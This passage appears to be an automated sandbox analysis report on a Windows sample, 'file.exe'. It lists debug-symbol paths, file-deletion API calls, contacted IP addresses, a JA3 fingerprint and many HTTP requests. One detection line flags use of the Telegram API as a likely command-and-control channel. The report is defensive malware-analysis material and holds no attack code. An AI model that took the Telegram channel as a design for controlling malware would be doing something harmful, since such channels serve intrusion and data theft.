Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdbGCTL source: file.exe, 00000000.00000003.1687157131.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2159486915.00007FFE12E15000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdb source: file.exe, 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: file.exe, 00000001.00000002.2156461817.00007FFE1024E000.00000002.00000001.01000000.00000012.sdmp

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF083C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00007FF6BAF083C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF09280 FindFirstFileExW,FindClose,	0_2_00007FF6BAF09280
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF21874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF6BAF21874
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF09280 FindFirstFileExW,FindClose,	1_2_00007FF6BAF09280
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF083C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	1_2_00007FF6BAF083C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF21874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	1_2_00007FF6BAF21874

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 26MB

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: Joe Sandbox View	IP Address: 20.25.227.174 20.25.227.174
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 20.189.173.8 20.189.173.8

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.9
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.9
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.9
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.9
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.9
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.9
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.9
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.9
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.9
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.9

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=HAfoF53L47c7EP+&MD=v3okLSN6 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/arbitration_priority_list/4.0.5/asset?assetgroup=ArbitrationService HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ArbitrationServiceSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732828174&P2=404&P3=2&P4=KnbEqgNPcUnA8aSdEM0rHz9HBl2U5F1phLr4tg3mXV2FpVBWIZkDhYu%2fpKYLQ9gEElLxwZa1NIsFs6omlOrzLQ%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: zUE+65jNFo1e5OR/iMqCJ6Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/vendors.7e27cca6027b8d6697cb.js HTTP/1.1Host: assets2.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=HAfoF53L47c7EP+&MD=v3okLSN6 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
